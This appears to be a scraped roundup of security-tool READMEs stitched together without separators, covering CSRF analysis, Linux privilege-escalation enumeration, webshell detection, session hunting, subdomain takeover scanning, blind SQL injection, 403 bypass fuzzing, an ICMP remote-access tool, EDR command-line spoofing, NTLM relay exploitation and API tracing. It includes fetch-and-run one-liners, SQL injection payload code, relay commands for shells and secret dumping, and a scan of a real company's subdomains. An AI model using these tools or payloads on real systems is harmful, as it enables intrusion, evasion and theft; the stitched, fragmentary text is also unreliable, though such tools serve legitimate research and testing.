For more information, please see here.
You can use Cypher to write custom queries. For this:
example_query_cypher.py in the analyses/example folder.$ python3 -m analyses.example.example_query_cypher
For more information, please see here.
This section describes how to configure and use JAW for vulnerability detection, and how to interpret the output. JAW contains, among others, self-contained queries for detecting client-side CSRF and DOM Clobbering
Step 1. enable the analysis component for the vulnerability class in the input config.yaml file:
request_hijacking:
enabled: true
# [...]
#
domclobbering:
enabled: false
# [...]
cs_csrf:
enabled: false
# [...]
Step 2. Run an instance of the pipeline with:
$ python3 -m run_pipeline --conf=config.yaml
Hint. You can run multiple instances of the pipeline under different screens:
$ screen -dmS s1 bash -c 'python3 -m run_pipeline --conf=conf1.yaml; exec sh'
$ screen -dmS s2 bash -c 'python3 -m run_pipeline --conf=conf2.yaml; exec sh'
$ # [...]
To generate parallel configuration files automatically, you may use the generate_config.py script.
The outputs will be stored in a file called sink.flows.out in the same folder as that of the input. For Client-side CSRF, for example, for each HTTP request detected, JAW outputs an entry marking the set of semantic types (a.k.a, semantic tags or labels) associated with the elements constructing the request (i.e., the program slices). For example, an HTTP request marked with the semantic type ['WIN.LOC'] is forgeable through the window.location injection point. However, a request marked with ['NON-REACH'] is not forgeable.
An example output entry is shown below:
[*] Tags: ['WIN.LOC']
[*] NodeId: {'TopExpression': '86', 'CallExpression': '87', 'Argument': '94'}
[*] Location: 29
[*] Function: ajax
[*] Template: ajaxloc + "/bearer1234/"
[*] Top Expression: $.ajax({ xhrFields: { withCredentials: "true" }, url: ajaxloc + "/bearer1234/" })
1:['WIN.LOC'] variable=ajaxloc
0 (loc:6)- var ajaxloc = window.location.href
This entry shows that on line 29, there is a $.ajax call expression, and this call expression triggers an ajax request with the url template value of ajaxloc + "/bearer1234/, where the parameter ajaxloc is a program slice reading its value at line 6 from window.location.href, thus forgeable through ['WIN.LOC'].
In order to streamline the testing process for JAW and ensure that your setup is accurate, we provide a simple node.js web application which you can test JAW with.
First, install the dependencies via:
$ cd tests/test-webapp
$ npm install
Then, run the application in a new screen:
$ screen -dmS jawwebapp bash -c 'PORT=6789 npm run devstart; exec sh'
For more information, visit our wiki page here. Below is a table of contents for quick access.
Pull requests are always welcomed. This project is intended to be a safe, welcoming space, and contributors are expected to adhere to the contributor code of conduct.
If you use the JAW for academic research, we encourage you to cite the following paper:
@inproceedings{JAW,
title = {JAW: Studying Client-side CSRF with Hybrid Property Graphs and Declarative Traversals},
author= {Soheil Khodayari and Giancarlo Pellegrino},
booktitle = {30th {USENIX} Security Symposium ({USENIX} Security 21)},
year = {2021},
address = {Vancouver, B.C.},
publisher = {{USENIX} Association},
}
JAW has come a long way and we want to give our contributors a well-deserved shoutout here!
@tmbrbr, @c01gide, @jndre, and Sepehr Mirzaei.
First, a couple of useful oneliners ;)
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh;chmod 700 lse.sh
curl "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -Lo lse.sh;chmod 700 lse.sh
Note that since version 2.10 you can serve the script to other hosts with the -S flag!
Linux enumeration tools for pentesting and CTFs
This project was inspired by https://github.com/rebootuser/LinEnum and uses many of its tests.
Unlike LinEnum, lse tries to gradualy expose the information depending on its importance from a privesc point of view.
This shell script will show relevant information about the security of the local Linux system, helping to escalate privileges.
From version 2.0 it is mostly POSIX compliant and tested with shellcheck and posh.
It can also monitor processes to discover recurrent program executions. It monitors while it is executing all the other tests so you save some time. By default it monitors during 1 minute but you can choose the watch time with the -p parameter.
It has 3 levels of verbosity so you can control how much information you see.
In the default level you should see the highly important security flaws in the system. The level 1 (./lse.sh -l1) shows interesting information that should help you to privesc. The level 2 (./lse.sh -l2) will just dump all the information it gathers about the system.
By default it will ask you some questions: mainly the current user password (if you know it ;) so it can do some additional tests.
The idea is to get the information gradually.
First you should execute it just like ./lse.sh. If you see some green yes!, you probably have already some good stuff to work with.
If not, you should try the level 1 verbosity with ./lse.sh -l1 and you will see some more information that can be interesting.
If that does not help, level 2 will just dump everything you can gather about the service using ./lse.sh -l2. In this case you might find useful to use ./lse.sh -l2 | less -r.
You can also select what tests to execute by passing the -s parameter. With it you can select specific tests or sections to be executed. For example ./lse.sh -l2 -s usr010,net,pro will execute the test usr010 and all the tests in the sections net and pro.
Use: ./lse.sh [options]
OPTIONS
-c Disable color
-i Non interactive mode
-h This help
-l LEVEL Output verbosity level
0: Show highly important results. (default)
1: Show interesting results.
2: Show all gathered information.
-s SELECTION Comma separated list of sections or tests to run. Available
sections:
usr: User related tests.
sud: Sudo related tests.
fst: File system related tests.
sys: System related tests.
sec: Security measures related tests.
ret: Recurren tasks (cron, timers) related tests.
net: Network related tests.
srv: Services related tests.
pro: Processes related tests.
sof: Software related tests.
ctn: Container (docker, lxc) related tests.
cve: CVE related tests.
Specific tests can be used with their IDs (i.e.: usr020,sud)
-e PATHS Comma separated list of paths to exclude. This allows you
to do faster scans at the cost of completeness
-p SECONDS Time that the process monitor will spend watching for
processes. A value of 0 will disable any watch (default: 60)
-S Serve the lse.sh script in this host so it can be retrieved
from a remote host.
Also available in webm video
Direct execution oneliners
bash <(wget -q -O - "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l2 -i
bash <(curl -s "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh") -l1 -i
ShellSweeping the evil
"ShellSweep" is a PowerShell/Python/Lua tool designed to detect potential webshell files in a specified directory.
ShellSheep and it's suite of tools calculate the entropy of file contents to estimate the likelihood of a file being a webshell. High entropy indicates more randomness, which is a characteristic of encrypted or obfuscated codes often found in webshells. - It only processes files with certain extensions (.asp, .aspx, .asph, .php, .jsp), which are commonly used in webshells. - Certain directories can be excluded from scanning. - Files with certain hashes can be ignored during the scan.
Entropy, in the context of information theory or data science, is a measure of the unpredictability, randomness, or disorder in a set of data. The concept was introduced by Claude Shannon in his 1948 paper "A Mathematical Theory of Communication".
When applied to a file or a string of text, entropy can help assess the randomness of the data. Here's how it works: If a file consists of completely random data (each byte is just as likely to be any value between 0 and 255), the entropy is high, close to 8 (since log2(256) = 8).
If a file consists of highly structured data (for example, a text file where most bytes are ASCII characters), the entropy is lower. In the context of finding webshells or malicious files, entropy can be a useful indicator: - Many obfuscated scripts or encrypted payloads can have high entropy because the obfuscation or encryption process makes the data look random. - A normal text file or HTML file would generally have lower entropy because human-readable text has patterns and structure (certain letters are more common, words are usually separated by spaces, etc.). So, a file with unusually high entropy might be suspicious and worth further investigation. However, it's not a surefire indicator of maliciousness -- there are plenty of legitimate reasons a file might have high entropy, and plenty of ways malware might avoid causing high entropy. It's just one tool in a larger toolbox for detecting potential threats.
ShellSweep includes a Get-Entropy function that calculates the entropy of a file's contents by: - Counting how often each character appears in the file. - Using these frequencies to calculate the probability of each character. - Summing -p*log2(p) for each character, where p is the character's probability. This is the formula for entropy in information theory.
ShellScan provides the ability to scan multiple known bad webshell directories and output the average, median, minimum and maximum entropy values by file extension.
Pass ShellScan.ps1 some directories of webshells, any size set. I used:
This will give a decent training set to get entropy values.
Output example:
Statistics for .aspx files:
Average entropy: 4.94212121048115
Minimum entropy: 1.29348709979974
Maximum entropy: 6.09830238020383
Median entropy: 4.85437969842084
Statistics for .asp files:
Average entropy: 5.51268104400858
Minimum entropy: 0.732406213077191
Maximum entropy: 7.69241278153711
Median entropy: 5.57351177724806
First, let's break down the usage of ShellCSV and how it assists with identifying entropy of the good files on disk. The idea is that defenders can run this on web servers to gather all files and entropy values to better understand what paths and extensions are most prominent in their working environment.
See ShellCSV.csv as example output.
First, choose your flavor: Python, PowerShell or Lua.
If you made it here, this is the part where you iterate on tuning. Find new shell? Gather entropy and modify as needed.
Feel free to open a Git issue.
If you enjoyed this project, be sure to star the project and share with your family and friends.
Retrieve and display information about active user sessions on remote computers. No admin privileges required.
The tool leverages the remote registry service to query the HKEY_USERS registry hive on the remote computers. It identifies and extracts Security Identifiers (SIDs) associated with active user sessions, and translates these into corresponding usernames, offering insights into who is currently logged in.
If the -CheckAdminAccess switch is provided, it will gather sessions by authenticating to targets where you have local admin access using Invoke-WMIRemoting (which most likely will retrieve more results)
It's important to note that the remote registry service needs to be running on the remote computer for the tool to work effectively. In my tests, if the service is stopped but its Startup type is configured to "Automatic" or "Manual", the service will start automatically on the target computer once queried (this is native behavior), and sessions information will be retrieved. If set to "Disabled" no session information can be retrieved from the target.
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Invoke-SessionHunter/main/Invoke-SessionHunter.ps1')
If run without parameters or switches it will retrieve active sessions for all computers in the current domain by querying the registry
Invoke-SessionHunter
Gather sessions by authenticating to targets where you have local admin access
Invoke-SessionHunter -CheckAsAdmin
You can optionally provide credentials in the following format
Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!"
You can also use the -FailSafe switch, which will direct the tool to proceed if the target remote registry becomes unresponsive.
This works in cobination with -Timeout | Default = 2, increase for slower networks.
Invoke-SessionHunter -FailSafe
Invoke-SessionHunter -FailSafe -Timeout 5
Use the -Match switch to show only targets where you have admin access and a privileged user is logged in
Invoke-SessionHunter -Match
All switches can be combined
Invoke-SessionHunter -CheckAsAdmin -UserName "ferrari\Administrator" -Password "P@ssw0rd!" -FailSafe -Timeout 5 -Match
Invoke-SessionHunter -Domain contoso.local
Invoke-SessionHunter -Targets "DC01,Workstation01.contoso.local"
Invoke-SessionHunter -Targets c:\Users\Public\Documents\targets.txt
Invoke-SessionHunter -Servers
Invoke-SessionHunter -Workstations
Invoke-SessionHunter -Hunt "Administrator"
Invoke-SessionHunter -IncludeLocalHost
Invoke-SessionHunter -RawResults
Note: if a host is not reachable it will hang for a while
Invoke-SessionHunter -NoPortScan
Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization's domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc. It occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a CNAME in the DNS, but no host is providing content for it. Subhunter takes a given list of Subdomains" title="Subdomains">subdomains and scans them to check this vulnerability.
Download from releases
Build from source:
$ git clone https://github.com/Nemesis0U/Subhunter.git
$ go build subhunter.go
Usage of subhunter:
-l string
File including a list of hosts to scan
-o string
File to save results
-t int
Number of threads for scanning (default 50)
-timeout int
Timeout in seconds (default 20)
./Subhunter -l subdomains.txt -o test.txt
____ _ _ _
/ ___| _ _ | |__ | |__ _ _ _ __ | |_ ___ _ __
\___ \ | | | | | '_ \ | '_ \ | | | | | '_ \ | __| / _ \ | '__|
___) | | |_| | | |_) | | | | | | |_| | | | | | | |_ | __/ | |
|____/ \__,_| |_.__/ |_| |_| \__,_| |_| |_| \__| \___| |_|
A fast subdomain takeover tool
Created by Nemesis
Loaded 88 fingerprints for current scan
-----------------------------------------------------------------------------
[+] Nothing found at www.ubereats.com: Not Vulnerable
[+] Nothing found at testauth.ubereats.com: Not Vulnerable
[+] Nothing found at apple-maps-app-clip.ubereats.com: Not Vulnerable
[+] Nothing found at about.ubereats.com: Not Vulnerable
[+] Nothing found at beta.ubereats.com: Not Vulnerable
[+] Nothing found at ewp.ubereats.com: Not Vulnerable
[+] Nothi ng found at edgetest.ubereats.com: Not Vulnerable
[+] Nothing found at guest.ubereats.com: Not Vulnerable
[+] Google Cloud: Possible takeover found at testauth.ubereats.com: Vulnerable
[+] Nothing found at info.ubereats.com: Not Vulnerable
[+] Nothing found at learn.ubereats.com: Not Vulnerable
[+] Nothing found at merchants.ubereats.com: Not Vulnerable
[+] Nothing found at guest-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchant-help.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-beta.ubereats.com: Not Vulnerable
[+] Nothing found at merchants-staging.ubereats.com: Not Vulnerable
[+] Nothing found at messages.ubereats.com: Not Vulnerable
[+] Nothing found at order.ubereats.com: Not Vulnerable
[+] Nothing found at restaurants.ubereats.com: Not Vulnerable
[+] Nothing found at payments.ubereats.com: Not Vulnerable
[+] Nothing found at static.ubereats.com: Not Vulnerable
Subhunter exiting...
Results written to test.txt
Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.
Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh, 2023 - Hack in the Box, Phuket, 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT), 2023
More information can be found in our paper and slides.
To install Hakuin, simply run:
pip3 install hakuin
Developers should install the package locally and set the -e flag for editable mode:
git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .
Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.
import aiohttp
from hakuin import Requester
class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200
class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()
To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.
import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL
class StatusRequester(Requester):
...
async def main():
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...
if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())
Now that eveything is set, you can start extracting DB metadata.
# strategy:
# 'binary': Use binary search
# 'model': Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')
tables = await ext.extract_table_names(strategy='model')
columns = await ext.extract_column_names(table='users', strategy='model')
metadata = await ext.extract_meta(strategy='model')
Once you know the structure, you can extract the actual content.
# text_strategy: Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')
# strategy:
# 'binary': Use binary search
# 'fivegram': Use five-gram model
# 'unigram': Use unigram model
# 'dynamic': Dynamically identify the best strategy. This setting
# also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')
res = await ext.extract_column_int(table='users', column='id')
res = await ext.extract_column_float(table='products', column='price')
res = await ext.extract_column_blob(table='users', column='id')
More examples can be found in the tests directory.
Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:
python3 hk.py -h
This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}
The original 403fuzzer.py :)
Fuzz 401/403ing endpoints for bypasses
This tool performs various checks via headers, path normalization, verbs, etc. to attempt to bypass ACL's or URL validation.
It will output the response codes and length for each request, in a nicely organized, color coded way so things are reaable.
I implemented a "Smart Filter" that lets you mute responses that look the same after a certain number of times.
You can now feed it raw HTTP requests that you save to a file from Burp.
usage: bypassfuzzer.py -h
Simply paste the request into a file and run the script!
- It will parse and use cookies & headers from the request. - Easiest way to authenticate for your requests
python3 bypassfuzzer.py -r request.txt
Specify a URL
python3 bypassfuzzer.py -u http://example.com/test1/test2/test3/forbidden.html
Specify cookies to use in requests:
some examples:
--cookies "cookie1=blah"
-c "cookie1=blah; cookie2=blah"
Specify a method/verb and body data to send
bypassfuzzer.py -u https://example.com/forbidden -m POST -d "param1=blah¶m2=blah2"
bypassfuzzer.py -u https://example.com/forbidden -m PUT -d "param1=blah¶m2=blah2"
Specify custom headers to use with every request Maybe you need to add some kind of auth header like Authorization: bearer <token>
Specify -H "header: value" for each additional header you'd like to add:
bypassfuzzer.py -u https://example.com/forbidden -H "Some-Header: blah" -H "Authorization: Bearer 1234567"
Based on response code and length. If it sees a response 8 times or more it will automatically mute it.
Repeats are changeable in the code until I add an option to specify it in flag
NOTE: Can't be used simultaneously with -hc or -hl (yet)
# toggle smart filter on
bypassfuzzer.py -u https://example.com/forbidden --smart
Useful if you wanna proxy through Burp
bypassfuzzer.py -u https://example.com/forbidden --proxy http://127.0.0.1:8080
# skip sending headers payloads
bypassfuzzer.py -u https://example.com/forbidden -sh
bypassfuzzer.py -u https://example.com/forbidden --skip-headers
# Skip sending path normailization payloads
bypassfuzzer.py -u https://example.com/forbidden -su
bypassfuzzer.py -u https://example.com/forbidden --skip-urls
Provide comma delimited lists without spaces. Examples:
# Hide response codes
bypassfuzzer.py -u https://example.com/forbidden -hc 403,404,400
# Hide response lengths of 638
bypassfuzzer.py -u https://example.com/forbidden -hl 638
Download the binaries
or build the binaries and you are ready to go:
$ git clone https://github.com/Nemesis0U/PingRAT.git
$ go build client.go
$ go build server.go
./server -h
Usage of ./server:
-d string
Destination IP address
-i string
Listener (virtual) Network Interface (e.g. eth0)
./client -h
Usage of ./client:
-d string
Destination IP address
-i string
(Virtual) Network Interface (e.g., eth0)
LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.
lolbin.exe " " * sizeof(real arguments)
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory
Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)
nimble install winim
Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.
SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.
bash pip3 install sqlmc
Run sqlmc with the following command-line arguments:
-u, --url: The URL to scan (required)-d, --depth: The depth to scan (required)-o, --output: The output file to save the resultsExample usage:
sqlmc -u http://example.com -d 2
Replace http://example.com with the URL you want to scan and 3 with the desired depth of the scan. You can also specify an output file using the -o or --output flag followed by the desired filename.
The tool will then perform the scan and display the results.
This project is licensed under the GNU Affero General Public License v3.0.
BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.
BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.
Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.
Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.
If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.
Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.
The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.
https://github.com/iamagarre/BadExclusionsNWBO/assets/89855208/46982975-f4a5-4894-b78d-8d6ed9b1c8c4
Presented at CODE BLUE 2023, this project titled Enhanced Vulnerability Hunting in WDM Drivers with Symbolic Execution and Taint Analysis introduces IOCTLance, a tool that enhances its capacity to detect various vulnerability types in Windows Driver Model (WDM) drivers. In a comprehensive evaluation involving 104 known vulnerable WDM drivers and 328 unknow n ones, IOCTLance successfully unveiled 117 previously unidentified vulnerabilities within 26 distinct drivers. As a result, 41 CVEs were reported, encompassing 25 cases of denial of service, 5 instances of insufficient access control, and 11 examples of elevation of privilege.
docker build .
dpkg --add-architecture i386
apt-get update
apt-get install git build-essential python3 python3-pip python3-dev htop vim sudo \
openjdk-8-jdk zlib1g:i386 libtinfo5:i386 libstdc++6:i386 libgcc1:i386 \
libc6:i386 libssl-dev nasm binutils-multiarch qtdeclarative5-dev libpixman-1-dev \
libglib2.0-dev debian-archive-keyring debootstrap libtool libreadline-dev cmake \
libffi-dev libxslt1-dev libxml2-dev
pip install angr==9.2.18 ipython==8.5.0 ipdb==0.13.9
# python3 analysis/ioctlance.py -h
usage: ioctlance.py [-h] [-i IOCTLCODE] [-T TOTAL_TIMEOUT] [-t TIMEOUT] [-l LENGTH] [-b BOUND]
[-g GLOBAL_VAR] [-a ADDRESS] [-e EXCLUDE] [-o] [-r] [-c] [-d]
path
positional arguments:
path dir (including subdirectory) or file path to the driver(s) to analyze
optional arguments:
-h, --help show this help message and exit
-i IOCTLCODE, --ioctlcode IOCTLCODE
analyze specified IoControlCode (e.g. 22201c)
-T TOTAL_TIMEOUT, --total_timeout TOTAL_TIMEOUT
total timeout for the whole symbolic execution (default 1200, 0 to unlimited)
-t TIMEOUT, --timeout TIMEOUT
timeout for analyze each IoControlCode (default 40, 0 to unlimited)
-l LENGTH, --length LENGTH
the limit of number of instructions for technique L engthLimiter (default 0, 0
to unlimited)
-b BOUND, --bound BOUND
the bound for technique LoopSeer (default 0, 0 to unlimited)
-g GLOBAL_VAR, --global_var GLOBAL_VAR
symbolize how many bytes in .data section (default 0 hex)
-a ADDRESS, --address ADDRESS
address of ioctl handler to directly start hunting with blank state (e.g.
140005c20)
-e EXCLUDE, --exclude EXCLUDE
exclude function address split with , (e.g. 140005c20,140006c20)
-o, --overwrite overwrite x.sys.json if x.sys has been analyzed (default False)
-r, --recursion do not kill state if detecting recursion (default False)
-c, --complete get complete base state (default False)
-d, --debug print debug info while analyzing (default False)
# python3 evaluation/statistics.py -h
usage: statistics.py [-h] [-w] path
positional arguments:
path target dir or file path
optional arguments:
-h, --help show this help message and exit
-w, --wdm copy the wdm drivers into <path>/wdm
NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities, offering a range of functionalities from listing SMB shares to executing commands on MSSQL databases.
Before you begin, ensure you have met the following requirements:
proxychains properly configured with ntlmrelayx SOCKS relay portTo install NTLM Relay Gat, follow these steps:
Ensure that Python 3.6 or higher is installed on your system.
Clone NTLM Relay Gat repository:
git clone https://github.com/ad0nis/ntlm_relay_gat.git
cd ntlm_relay_gat
pip install -r requirements.txt
NTLM Relay Gat is now installed and ready to use.
To use NTLM Relay Gat, make sure you've got relayed sessions in ntlmrelayx.py's socks command output and that you have proxychains configured to use ntlmrelayx.py's proxy, and then execute the script with the desired options. Here are some examples of how to run NTLM Relay Gat:
# List available SMB shares using 10 threads
python ntlm_relay_gat.py --smb-shares -t 10
# Execute a shell via SMB
python ntlm_relay_gat.py --smb-shell --shell-path /path/to/shell
# Dump secrets from the target
python ntlm_relay_gat.py --dump-secrets
# List available MSSQL databases
python ntlm_relay_gat.py --mssql-dbs
# Execute an operating system command via xp_cmdshell
python ntlm_relay_gat.py --mssql-exec --mssql-method 1 --mssql-command 'whoami'
NTLM Relay Gat is intended for educational and ethical penetration testing purposes only. Usage of NTLM Relay Gat for attacking targets without prior mutual consent is illegal. The developers of NTLM Relay Gat assume no liability and are not responsible for any misuse or damage caused by this tool.
This project is licensed under the MIT License - see the LICENSE file for details.
A command line Windows API tracing tool for Golang binaries.
Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!
Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.
The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.
Asmstdcall receives a single parameter which is pointer to something similar to the following structure:
struct LIBCALL {
DWORD_PTR Addr;
DWORD Argc;
DWORD_PTR Argv;
DWORD_PTR ReturnValue;
[...]
}
Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.
The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.
The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).
If you want to know more about this project and research check the blogpost.
Download the latest release.
gftrace.exe <filepath> <params>
All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:
CreateFileW,ReadFile,CreateProcessW
The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.
The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.
Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:
- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
Tracing CreateProcessW() in the TunnelFish malware:
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres s | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)
[...]
Tracing multiple functions in the Sunshuttle malware:
- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
